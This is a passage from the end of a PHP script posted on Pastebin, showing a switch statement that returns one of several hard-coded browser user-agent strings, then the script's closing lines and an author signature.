  1287.                         case 32:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3";        break;
  1288.                         case 33:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9";      break;
  1289.                         case 34:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";      break;
  1290.                         case 35:        $agent= "Mozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686)";      break;
  1291.                         case 36:        $agent= "Mozilla/4.75 [fr] (WinNT; U)"; break;
  1292.                         case 37:        $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en]";   break;
  1293.                         case 38:        $agent= "Mozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]";     break;
  1294.                         case 39:        $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8";    break;
  1295.                         case 40:        $agent= "Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0";     break;
  1296.                         case 41:        $agent= "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)";      break;
  1297.                         case 42:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1";     break;
  1298.                         case 43:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 ";       break;
  1299.                         case 44:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 ";    break;
  1300.                 }
  1301.                 return $agent;
  1302.         }
  1303.  
  1304.        
  1305.        
  1306.        
  1307.        
  1308.        
  1309.        
  1310.        
  1311.        
  1312.        
  1313.         }
  1314.        
  1315.        
  1316.        
  1317. ?>
  1318. -------------------------------------------------------------------------------------------------------
  1319.  
  1320.  
  1321.  
  1322.  
  1323.  
  1324.  
  1325. By  Hex00010
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top